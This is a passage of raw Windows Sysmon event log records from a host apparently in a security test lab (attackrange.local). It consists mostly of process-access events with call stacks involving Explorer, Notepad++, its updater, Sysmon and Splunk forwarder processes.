Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59343-false10.0.1.12-8000- 10341000x800000000000000046753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.696{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.696{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.696{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.696{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.696{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.681{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.681{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\Explorer.EXE+1f054|C:\Windows\Explorer.EXE+1f000|C:\Windows\Explorer.EXE+1dfec|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.665{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7031-613B-FF0A-00000000F001}6724C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.665{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.665{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.665{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.665{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.665{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7031-613B-FF0A-00000000F001}6724C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.665{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7031-613B-FF0A-00000000F001}6724C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.510{7BD73061-7031-613B-FF0A-00000000F001}6724C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000046738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.308{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.308{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.308{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62400|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.308{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+47c00|C:\Windows\System32\SHELL32.dll+623bc|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.308{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.308{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.243{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-7031-613B-FE0A-00000000F001}6240C:\Program Files\Notepad++\updater\gup.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.243{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-7031-613B-FE0A-00000000F001}6240C:\Program Files\Notepad++\updater\gup.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.165{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.149{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-7031-613B-FE0A-00000000F001}6240C:\Program Files\Notepad++\updater\gup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.149{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.149{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.149{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.149{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.149{7BD73061-7030-613B-FD0A-00000000F001}11764644C:\Program Files\Notepad++\notepad++.exe{7BD73061-7031-613B-FE0A-00000000F001}6240C:\Program 